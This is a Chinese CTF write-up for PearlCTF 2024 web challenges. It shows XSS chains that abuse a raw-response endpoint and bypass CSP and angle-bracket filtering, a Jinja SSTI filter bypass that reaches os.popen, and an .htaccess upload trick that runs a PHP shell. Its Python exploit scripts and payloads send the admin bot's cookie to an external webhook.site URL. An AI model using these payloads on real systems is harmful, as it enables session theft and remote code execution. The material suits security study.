[PearlCTF2024]WEB WP
我是老馋
learn HTTP
XSS三连击
题目描述
题目给了源码,这个应用里面有两个服务分别是5000端口运行的nodejs,以及5001端口运行的golong,服务通过nginx代理出来。
server {
listen 6000;
listen [::]:6000;
server_name pearlctf.in;
location / {
proxy_pass http://localhost:5000/;
}
location /resp {
proxy_pass http://localhost:5001/resp;
}
}
/resp路由接受一个body参数,它会将body作为整个响应内容(响应头+响应体)返回给客户
func processClient(connection net.Conn) {
buffer := make([]byte, 1024)
mLen, err := connection.Read(buffer)
if err != nil {
fmt.Println("Error reading:", err.Error())
}
raw_http_req := strings.Split(string(buffer[:mLen]), "\r\n")[0]
splitted_req := strings.Split(raw_http_req, " ")
if splitted_req[0] != "GET" {
_, err = connection.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\nCan only GET"))
connection.Close()
return
}
parsed, err := url.Parse(splitted_req[1])
if err != nil {
fmt.Println("Error parsing: ", err.Error())
}
path := parsed.Path
if path != "/resp" {
_, err = connection.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\nNot Found"))
connection.Close()
return
}
args, err := url.ParseQuery(parsed.RawQuery)
if err != nil {
_, err = connection.Write([]byte("HTTP/1.1 500 Internal Server Error\r\n\r\nError"))
connection.Close()
return
}
body, ok := args["body"]
if !ok {
_, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body"))
connection.Close()
return
}
_, err = connection.Write([]byte(body[0]))
connection.Close()
}
nodejs服务的/check同样接受一个body参数,它会对其值进行url编码,然后作为/resp的参数组装让bot.js访问
const genToken = () => {
var token = jwt.sign({ id: 1 }, process.env.SECRET);
return token
}
app.post("/check", (req, res) => {
try {
let req_body = req.body.body
if (req_body == undefined) {
return res.status(200).send("Body is not provided")
}
let to_req = `http://localhost:5001/resp?body=${encodeURIComponent(req_body)}`
childProcess.spawn('node', ['./bot.js', JSON.stringify({
url: to_req,
token: genToken()
})]);
return res.status(200).send("Admin will check!")
} catch (e) {
console.log(e)
return res.status(500).send("Internal Server Error")
}
})
其中bot.js会用chromium对目标进行访问
const puppeteer = require('puppeteer')
async function visit(obj){
let browser;
let url = obj['url'];
let token = obj['token'];
if(!/^https?:\/\//.test(url)){
return;
}
try{
browser = await puppeteer.launch({
headless: true,
executablePath: '/usr/bin/chromium-browser',
args: [
'--no-sandbox',
'--headless',
'--disable-gpu',
'--disable-dev-shm-usage'
]
});
let page = await browser.newPage();
await page.setCookie({
name: 'token',
value: token,
domain: 'localhost',
httpOnly: false,
secure: true,
sameSite: 'None'
});
await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 3000 });
await new Promise(r=>setTimeout(r,10000));
}catch(e){ console.log(e) }
try{await browser.close();}catch(e){}
process.exit(0)
}
visit(JSON.parse(process.argv[2]))
这题要get flag需要一个id=2的jwt,来访问/flag
app.get("/flag", (req, res) => {
let token = req.cookies.token
try {
var decoded = jwt.verify(token, process.env.SECRET)
if (decoded.id != 2) {
return res.status(200).send("You are not verified")
}
return res.status(200).send(process.env.FLAG)
} catch {
return res.status(200).send("You are not verified")
}
})
在对整个流程分析后可以知道,解题的方法只有拿到bot.js请求时用genToken()生成在cookie中的token,然后破解密钥伪造签名。
base
自定义的响应内容可以使用js,chromium也会正常加载js。所以让bot.js访问/resp获得的响应内容如下即可
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 121
<script>
fetch(`https://webhook.site/bd30b1b1-d95a-4010-a18f-5102e700c035/${document.cookie}`,{method: 'GET'});
</script>
Ps.这里有个要注意的点,bot.js在设置cookie时有个选项secure: true,它的意思是只允许cookie以https传输(拿自己vps用http试了好久都没注意到😭不过也因此知道了webhook.site这个平台👏)。
编写脚本
import requests
def build(p):
return f"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: {len(p)}\r\n\r\n{p}"
webhook = "https://webhook.site/bd30b1b1-d95a-4010-a18f-5102e700c035/"
body = f"""<script>
fetch(`{webhook}${{document.cookie}}`,{{method: 'GET'}});
</script>"""
payload = build(body)
# print(payload)
url = "https://learn-http.ctf.pearlctf.in/check"
data = {"body": payload}
response = requests.post(url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, verify=False)
print(response.text)
拿到token解密(要用密码本)、修改id、访问/flag
python jwt_tool.py <jwt> -C -d <path>

better
这一难度修只改了/resp的逻辑
body, ok := args["body"]
if !ok {
_, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body"))
connection.Close()
return
}
splitted_resp := strings.Split(body[0], "\r\n\r\n")
// 在响应头顶部插入Content-Security-Policy: script-src 'self'
new_header := strings.Join([]string{splitted_resp[0], "Content-Security-Policy: script-src 'self'"}, "\r\n")
final_body := strings.Join([]string{new_header, splitted_resp[1]}, "\r\n\r\n")
_, err = connection.Write([]byte(final_body))
connection.Close()
按理来说,CSP只限制了内容的加载是同源的,对于一个响应中的js代码不影响才对。比如下面这个代码,即使加了CSP,但script中的代码依然会执行,请求还是会发送出去。
<?php
if (!isset($_COOKIE['skky'])) {
setcookie('skky',md5(rand(0,1000)));
}
header("Content-Security-Policy: script-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
<script>
fetch(`https://webhook.site/bd30b1b1-d95a-4010-a18f-5102e700c035/${document.cookie}`, {method: 'GET'});
</script>
</head>
<body>
<h2>CSP-safe</h2>
</body>
但这里可能是不同浏览器对CSP策略不同,在使用bot.js的chromium访问的时候,这个webhook的请求是发不出去的。虽然把原因推到浏览器上感觉怪怪的,不过这里我也找不到更合适的解释了。
import subprocess
import requests
def run_command(cmd):
result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.stderr:
return f"Error: {result.stderr}"
else:
return result.stdout
# 使用题目的docker进行测试
url = "http://172.22.107.50:8888/xss/"
command = ['docker', 'run', '--rm', '--net=host', 'xss_bot', '/usr/local/bin/node', '/home/app/bot.js', f'{{"url":"{url}", "token":"skky"}}']
output = run_command(command)
print(output)
Anyway,既然要同源加载一个脚本的话,那我们就可以利用它内部的http://localhost:5001/resp来做。首先让bot.js访问得到类似下面的内容
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 60
<script src="http://localhost:5001/resp?body=xxxx"></script>
这里的src引入的脚本就是同源的。接着构造这个url的body部分,在它的响应中执行js代码
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 102
fetch(`https://webhook.site/bd30b1b1-d95a-4010-a18f-5102e700c035/${document.cookie}`,{method: 'GET'});
利用脚本如下
import urllib.parse
import requests
def build(p):
return f"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: {len(p)}\r\n\r\n{p}"
webhook = "https://webhook.site/bd30b1b1-d95a-4010-a18f-5102e700c035/"
body_2 = f"""fetch(`{webhook}${{document.cookie}}`,{{method: 'GET'}});"""
# print(build(body_2))
src = f"http://localhost:5001/resp?body={urllib.parse.quote(build(body_2))}"
body_1 = f"<script src=\"{src}\"></script>"
payload = build(body_1)
# print(payload)
url = "https://v1-learn-http.ctf.pearlctf.in/check"
data = {"body": payload}
response = requests.post(url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, verify=False)
print(response.text)
final
最后难度首先修改了响应逻辑,去除了响应体中所有的尖括号<``>。
body, ok := args["body"]
if !ok {
_, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body"))
connection.Close()
return
}
splitted_resp := strings.Split(body[0], "\r\n\r\n")
sanitized_body := strings.Replace(splitted_resp[1], "<", "", -1)
sanitized_body = strings.Replace(sanitized_body, ">", "", -1)
final := strings.Join([]string{splitted_resp[0], sanitized_body}, "\r\n\r\n")
_, err = connection.Write([]byte(final))
connection.Close()
同时修改了nodejs的路由
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "templates/index.html"))
})
app.get("/learn", (req, res) => {
res.status(200).sendFile(path.join(__dirname, "templates/learn.html"))
})
现在虽然无法在/resp中执行js了,但新增的路由/learn存在XSS漏洞
function getCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
document.getElementById("greet").innerHTML = `Hello, ${getCookie("name")}`
templates/learn.html会获取请求中cookie,并且未做任何处理输出在页面上。因为这部分的代码是在页面加载后执行的,所以cookie如果设置为类似<script>alert</script>并不会执行。

可以用img标签的onerror事件触发,类似<img src=x onerror="alert(1)">。
对于bot.js,虽然无法让它直接访问/learn,但是可以让/resp返回一个302跳转
HTTP/1.1 302 Found
Location: http://localhost:5000/learn
Set-Cookie: name=<img src=x onerror="fetch('https://webhook.site/bd30b1b1-d95a-4010-a18f-5102e700c035/'+document.cookie)"/>
Content-Length: 0
利用脚本
import urllib.parse
import requests
def build(p):
webhook = "https://webhook.site/bd30b1b1-d95a-4010-a18f-5102e700c035/"
onerror = f"fetch('{webhook}'+document.cookie)"
cookie = f"<img src=x onerror=\"{onerror}\"/>"
return f"HTTP/1.1 302 Found\r\nLocation: http://localhost:5000/learn\r\nSet-Cookie: name={cookie}\r\nContent-Length: {len(p)}\r\n\r\n{p}"
payload = build('')
# print(payload)
data = {"body": payload}
url = "https://v2-learn-http.ctf.pearlctf.in/check"
response = requests.post(url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, verify=False)
print(response.text)
I am a web-noob
user处存在ssti
过滤了双花括号({{)、中括号([)、下划线(_)、一些字符串("open"、"-"......)
使用控制语句{% print() %}执行+输出结果,|attr(request.args.a)访问对象属性。
构造payload获取可以用的类,这个执行结果等价于:''.__class__.__base__.__subclasses__()[154]
?user={%print(""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154))%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__

使用popen执行命令读取flag,这里要注意一个括号的位置,相当于(os.popen(cmd)).read()
?user={%print((""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g)(request.args.rce)).read())%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&rce=cat /app/flag.txt

rabbithole
🐰



uploader
文件上传对内容做了详细的检查,但是后缀名并没有。
上传base64编码后的php命令执行代码

上传.htaccess,使用\+换行绕过内容检查(如果愿意可以在每一个字符后都加上,这样依然可以解析),上传的.htaccess内容为:
# 开启PHP解析引擎
php_flag engine on
# 需要绝对路径,因为inclulde的当前路径为/usr/local/lib/php
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/uploads/10.80.1.9/26398c9deb8c36cb3de78baec7da7f4f1be1438aad2876be79d21e9592d9aea3.php"


访问上传的php文件,使用命令查找flag.txt
